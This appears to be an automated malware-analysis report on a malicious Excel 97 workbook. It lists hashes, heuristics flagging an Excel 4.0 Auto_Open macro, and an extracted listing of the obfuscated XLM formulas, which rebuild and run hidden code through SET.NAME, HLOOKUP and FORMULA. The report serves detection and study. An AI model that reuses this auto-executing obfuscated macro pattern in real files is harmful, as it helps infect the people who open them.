Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ceeacea3e97002b1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:35 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 01510537913d93e1ccf585a39690b41b SHA-1: e9ca94dfb2c17007d99df3ac5a40a490077e7e1d SHA-256: ceeacea3e97002b1c2ee1d170be2870c8c009661422716b91c79f385e8a81ad0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6641 bytes
SHA-256: d07a9a3aeac7f8d39b0aa655e37cd652ea647201d678928ca076ffac77ff1e41
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uWqHvMzukIv
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C174 
' 0018     20 LABEL : Cell Value, String Constant - awgaS len=0 
' 0018     20 LABEL : Cell Value, String Constant - bBELX len=0 
' 0018     24 LABEL : Cell Value, String Constant - boFAXiRXR len=0 
' 0018     26 LABEL : Cell Value, String Constant - DJdqrgpLqSh len=0 
' 0018     24 LABEL : Cell Value, String Constant - dZmpbFKLy len=0 
' 0018     25 LABEL : Cell Value, String Constant - EMqsgspvfA len=0 
' 0018     24 LABEL : Cell Value, String Constant - IMHqHqMjT len=0 
' 0018     24 LABEL : Cell Value, String Constant - ivWDtxdeA len=0 
' 0018     26 LABEL : Cell Value, String Constant - KBSZVOxMUfs len=0 
' 0018     22 LABEL : Cell Value, String Constant - KndhlRu len=0 
' 0018     24 LABEL : Cell Value, String Constant - lLFMjWlmJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - LoZqZUYDPF len=0 
' 0018     25 LABEL : Cell Value, String Constant - NGtOrAUsVR len=0 
' 0018     21 LABEL : Cell Value, String Constant - oapmpM len=0 
' 0018     26 LABEL : Cell Value, String Constant - OHSnEZGSShZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - RyIwfWRX len=0 
' 0018     23 LABEL : Cell Value, String Constant - sRNxZeIW len=0 
' 0018     20 LABEL : Cell Value, String Constant - vHPXz len=0 
' 0018     27 LABEL : Cell Value, String Constant - xDIZWuJuGwIB len=0 
' 0018     21 LABEL : Cell Value, String Constant - XyZGjU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uWqHvMzukIv,C76,"SET.NAME("bBELX",VALUE("0"))",""
'  uWqHvMzukIv,C81,"SET.NAME("ivWDtxdeA",bBELX)",""
'  uWqHvMzukIv,C85,"SET.NAME("awgaS",bBELX)",""
'  uWqHvMzukIv,C89,"SET.NAME("LoZqZUYDPF",COUNTA(dZmpbFKLy))",""
'  uWqHvMzukIv,C93,"SET.NAME("KBSZVOxMUfs",COUNTA(boFAXiRXR))",""
'  uWqHvMzukIv,C97,[],""
'  uWqHvMzukIv,C99,"SET.NAME("NGtOrAUsVR","")",""
'  uWqHvMzukIv,C104,"ivWDtxdeA",""
'  uWqHvMzukIv,C109,"SET.NAME("xDIZWuJuGwIB",HLOOKUP("*",dZmpbFKLy,ivWDtxdeA,FALSE))",""
'  uWqHvMzukIv,C113,"vHPXz",""
'  uWqHvMzukIv,C117,"SET.NAME("lLFMjWlmJ",bBELX)",""
'  uWqHvMzukIv,C122,[],""
'  uWqHvMzukIv,C127,"lLFMjWlmJ",""
'  uWqHvMzukIv,C132,"sRNxZeIW",""
'  uWqHvMzukIv,C134,"RyIwfWRX",""
'  uWqHvMzukIv,C139,"oapmpM",""
'  uWqHvMzukIv,C143,"SET.NAME("OHSnEZGSShZ",VALUE(HLOOKUP("*",boFAXiRXR,oapmpM,FALSE)))",""
'  uWqHvMzukIv,C148,"XyZGjU",""
'  uWqHvMzukIv,C150,"NGtOrAUsVR",""
'  uWqHvMzukIv,C153,"awgaS",""
'  uWqHvMzukIv,C155,NEXT(),""
'  uWqHvMzukIv,C157,"DJdqrgpLqSh",""
'  uWqHvMzukIv,C162,"SET.NAME("f",INT(T(FORMULA(T(NGtOrAUsVR)&"",""&T(DJdqrgpLqSh)))))",""
'  uWqHvMzukIv,C164,"EMqsgspvfA",""
'  uWqHvMzukIv,C167,NEXT(),""
'  uWqHvMzukIv,C170,RETURN(),""
'  uWqHvMzukIv,C197,"SET.NAME("IMHqHqMjT",C76)",""
'  uWqHvMzukIv,C199,"dZmpbFKLy",""
'  uWqHvMzukIv,C204,"SET.NAME("boFAXiRXR",R92C15)",""
'  uWqHvMzukIv,C209,"SET.NAME("EMqsgspvfA",219)",""
'  uWqHvMzukIv,C213,"SET.NAME("KndhlRu",3)",""
'  uWqHvMzukIv,C218,IMHqHqMjT(),""
'  uWqHvMzukIv,C219,HALT(),""

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